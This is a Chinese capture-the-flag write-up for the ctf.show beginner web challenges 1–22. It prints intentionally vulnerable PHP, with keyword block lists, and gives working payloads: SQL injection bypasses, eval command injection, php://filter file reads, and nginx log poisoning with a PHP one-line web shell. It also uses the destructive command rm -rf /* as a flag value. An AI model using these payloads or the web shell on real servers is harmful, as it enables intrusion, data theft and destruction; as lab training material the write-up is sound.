CTFshow_萌新(web)
1.web1
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
-
根据题目分析,需要GET方式传递id参数,同时满足id<999并且id=1000时显示flag,所以我们构造的参数是`?id=900||id=1000
2.web2
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/or|\+/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
-
该题和web1类似,只是加了对部分关键字的过滤。解法同web1
3.web3
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
-
该题和web2类似,加了对部分关键字的过滤。构造的参数为
?id=~~1000
4.web4
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
-
该题和web3类似,加了对部分关键字的过滤。构造的参数为
?id=~~1000
5.web5
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
-
该题和web4类似,加了对部分关键字的过滤。构造的参数为
?id=~~1000
6.web6
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
-
该题和web5类似,加了对部分关键字的过滤。构造的参数为
?id=~~1000
7.web7
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
-
该题和web6类似,加了对部分关键字的过滤。构造的参数为将~~1000进行进制转换为
0b1111101000
即可
8.web8
-
题目
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件,key flag 也在里面定义 include("config.php"); # 判断get提交的参数flag是否存在 if(isset($_GET['flag'])){ if(isset($_GET['flag'])){ $f = $_GET['flag']; if($key===$f){ echo $flag; } } }else{ highlight_file(__FILE__); } ?> </body> </html>
-
通过GET传递参数flag,并且 k e y 和 key和 key和f全等时输出flag。再根据提示
阿呆熟悉的一顿操作,去了埃塞尔比亚。
执行的是删库操作,所以flag的参数值为rm -rf /*
9.web9
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(preg_match("/system|exec|highlight/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
-
通过GET方式传递参数c,并且当参数中含有system|exec|highlight时输出c,所以参数为
?c=system(%27tac%20config.php%27);
10.web10
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
-
和web9类似,参数为
?c=show_source(%27config.php%27);
11.web11
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
-
和web10类似,做一个简单的拼接即可,参数为
?c=$x=%27sys%27;$y=%27tem%27;$z=$x.$y;$z(%27tac%20config.php%27);
12.web12
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
-
和web11类似,另外多了几个过滤,并且进行base64编码后才能获得flag;
Y29uZmkq
是confi*
的base64编码?c=$a=base64_decode('Y29uZmkq');passthru("tac $a");
13.web13
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
-
和web12类似,参数为
?c=passthru(%27tac%20confi*%27)?>
14.web14
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
-
发现过滤东西又多了,这次括号也过滤了。payload为
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
。对回显结果进行base64解码得到flag
15.web15
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
-
payload:
?c=include$_GET['a'];&a=php://filter/read=convert.base64-encode/resource=config.php
,解码得到flag
16.web16
-
题目
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){ echo $flag; }else{ echo "nonono!"; } }else{ highlight_file(__FILE__); } ?>
-
对
a6f57ae38a22448c2f07f3f95f49c84e
进行md5解密,结果为ctfshow36d
,当c=36d时,判定为真,获得flag
17.web17
-
题目
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/php/i",$c)){ include($c); } }else{ highlight_file(__FILE__); } ?>
-
使用data协议报错allow_url_include没开
-
试试日志文件包含,使用burpsuite抓包,从响应包中发现
Server: nginx/1.18.0 (Ubuntu)
-
Ubuntu中nginx的日志文件默认为/var/log/nginx/access.logor/var/log/nginx/error.log。访问
?c=/var/log/nginx/access.log
成功,可以看到记录了User-Agent -
构造一句话写入User-Agent,进入日志文件,burp中修改User-Agent为
<?php @eval($_POST[glc]);?>
-
使用蚁剑连接
网址?c=/var/log/nginx/access.log
,打开文件36d.php文件获得flag
18.web18
-
题目
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/php|file/i",$c)){ include($c); } }else{ highlight_file(__FILE__); } ?>
-
过滤file,使用web17的方法可解
19.web19
-
题目
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/php|file|base/i",$c)){ include($c); } }else{ highlight_file(__FILE__); } ?>
-
过滤base,使用web17的方法可解
20.web20
-
题目
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/php|file|base|rot/i",$c)){ include($c); } }else{ highlight_file(__FILE__); } ?>
-
过滤rot,使用web17的方法可解
21.web21
-
题目
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/php|file|\:|base|rot/i",$c)){ include($c); } }else{ highlight_file(__FILE__); } ?>
-
用web17方法可解
22.web22
-
题目
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\:|\/|\\\/i",$c)){ include($c.".php"); } }else{ highlight_file(__FILE__); } ?>